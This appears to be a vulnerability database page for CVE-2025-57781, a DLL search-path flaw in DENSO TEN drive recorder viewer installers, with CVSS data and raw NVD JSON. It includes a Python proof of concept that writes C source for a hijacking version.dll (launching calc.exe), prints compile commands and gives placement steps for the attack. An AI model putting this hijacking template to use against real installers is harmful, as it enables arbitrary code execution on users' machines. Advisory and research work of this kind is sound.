Security Vulnerability Report
中文
CVE-2025-57781 CVSS 7.8 HIGH

CVE-2025-57781

Published: 2025-10-06 06:15:36
Last Modified: 2026-04-15 00:35:42

Description

The installers of DENSO TEN drive recorder viewer contain an issue with the DLL search path, which may lead to insecurely loading Dynamic Link Libraries. As a result, arbitrary code may be executed with the privilege of the user invoking the installer.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

DENSO TEN drive recorder viewer 安装程序(具体受影响版本请参考厂商公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-57781 PoC - DLL Hijacking for DENSO TEN Drive Recorder Viewer Installer # This PoC demonstrates how to create a malicious DLL for DLL hijacking attack import os import shutil # Step 1: Identify the target DLL name that the installer tries to load # Common DLLs that installers may load: version.dll, wininet.dll, etc. TARGET_DLL = "version.dll" # Example - replace with actual vulnerable DLL # Step 2: Create the malicious DLL source code (malicious_dll.c) malicious_dll_code = ''' // Malicious DLL for DLL Hijacking PoC // Compile with: cl /LD malicious_dll.c /Fe:version.dll #include <windows.h> #include <stdio.h> // Export the same functions as the original DLL __declspec(dllexport) void __stdcall GetFileVersionInfoA() {} __declspec(dllexport) void __stdcall GetFileVersionInfoW() {} __declspec(dllexport) void __stdcall GetFileVersionInfoSizeA() {} __declspec(dllexport) void __stdcall GetFileVersionInfoSizeW() {} __declspec(dllexport) void __stdcall VerQueryValueA() {} __declspec(dllexport) void __stdcall VerQueryValueW() {} BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { if (reason == DLL_PROCESS_ATTACH) { // Execute malicious payload here // For PoC demonstration - launch calc.exe WinExec("calc.exe", SW_SHOW); // In real attack scenarios, this could: // - Download and execute remote payload // - Create backdoor accounts // - Exfiltrate sensitive data // - Establish persistence } return TRUE; } ''' # Step 3: Write the malicious DLL source with open("malicious_dll.c", "w") as f: f.write(malicious_dll_code) print(f"[*] Malicious DLL source created: malicious_dll.c") print(f"[*] Compile with: cl /LD malicious_dll.c /Fe:{TARGET_DLL}") print(f"[*] Or with MinGW: gcc -shared -o {TARGET_DLL} malicious_dll.c -Wl,--out-implib,{TARGET_DLL}.a") # Step 4: After compilation, place the malicious DLL in the same directory as the installer print(f"\n[*] Attack Steps:") print(f"1. Compile malicious DLL as '{TARGET_DLL}'") print(f"2. Place '{TARGET_DLL}' in the same directory as the installer executable") print(f"3. Or place it in the current working directory before running installer") print(f"4. When user runs the installer, the malicious DLL will be loaded first") print(f"5. Arbitrary code executes with the privileges of the installer user")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57781", "sourceIdentifier": "[email protected]", "published": "2025-10-06T06:15:36.203", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The installers of DENSO TEN drive recorder viewer contain an issue with the DLL search path, which may lead to insecurely loading Dynamic Link Libraries. As a result, arbitrary code may be executed with the privilege of the user invoking the installer."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN95806263/", "source": "[email protected]"}, {"url": "https://www.denso-ten.com/jp/information/topics/2025/1002", "source": "[email protected]"}]}}